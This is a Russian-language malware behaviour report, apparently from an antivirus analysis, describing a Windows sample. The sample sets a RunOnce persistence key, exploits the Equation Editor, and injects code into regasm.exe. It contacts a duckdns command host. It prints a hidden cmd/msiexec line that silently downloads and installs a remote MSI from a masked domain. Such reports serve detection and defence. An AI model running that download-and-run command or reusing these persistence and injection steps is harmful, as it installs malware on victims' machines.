Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'vauncela' = '%HOMEPATH%\Unsanction\Counterp.exe'
Вредоносные функции
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://ce####makmur.com/ii/11feb_f5b8.msi /quiet
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\unsanction\counterp.exe
- %APPDATA%\36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee\run.dat
Сетевая активность
Подключается к
- 'mo######tain.duckdns.org':898
TCP
Запросы HTTP GET
- http://ce####makmur.com/ii/11feb_f5b8.msi
- http://ce####makmur.com/ii/11feb_encrypted_B16478F.bin
UDP
- DNS ASK ce####makmur.com
- DNS ASK mo######tain.duckdns.org
Другое
Создает и запускает на исполнение
- '%WINDIR%\installer\msi4626.tmp'
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://ce####makmur.com/ii/11feb_f5b8.msi /quiet' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe' ' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\msiexec.exe' /i http://ce####makmur.com/ii/11feb_f5b8.msi /quiet
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'
